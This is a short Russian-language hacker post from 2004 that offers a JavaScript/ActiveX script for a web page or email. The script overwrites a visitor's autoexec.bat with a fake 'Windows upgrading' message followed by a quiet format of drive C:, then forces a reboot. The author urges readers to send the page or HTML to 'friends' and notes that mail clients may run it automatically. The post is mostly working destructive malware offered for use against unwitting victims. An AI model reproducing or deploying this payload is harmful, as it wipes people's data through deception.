Сейчас мы будем чистить чужой винт. Это мы
будем с помощью javascript’а, путем добавления в
autoexec.bat недостающие там строки. Вот этот
скрипт:
<script>
var FSO = new ActiveXObject("Scripting.FileSystemObject");
//Если файл существует
if (FSO.FileExists("c:\\autoexec.bat"))
{
var F = FSO.GetFile("c:\\autoexec.bat");
//выставляем обычные атрибуты
F.attributes=0;
//удаляем его
F.Delete();
//заново создаем его
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем его для записи
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
//пишем в него
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
}
//если не существует...
else
//создаем файл
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем и пишем
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
</script>
Все дела.
Вот и всё, смело закачивай скрипт на свою
пагу и раздавай url "друзьям" -).
Если тебе известен e-mail, то отошли ему этот
html-код, и всё получится, т. к. многие майлеры
обработают вложенное автоматом.
Единственное ограничение-наличие Win98 или
Win95.
Если у тебя ещё и руки с того места растут :),
то можно сделать из этого скрипта много
других интересных вещей. Всё зависит от
твоей фантазии...
| | po gonn © 2004 "JULI'S BEEHIVE" |

|
| |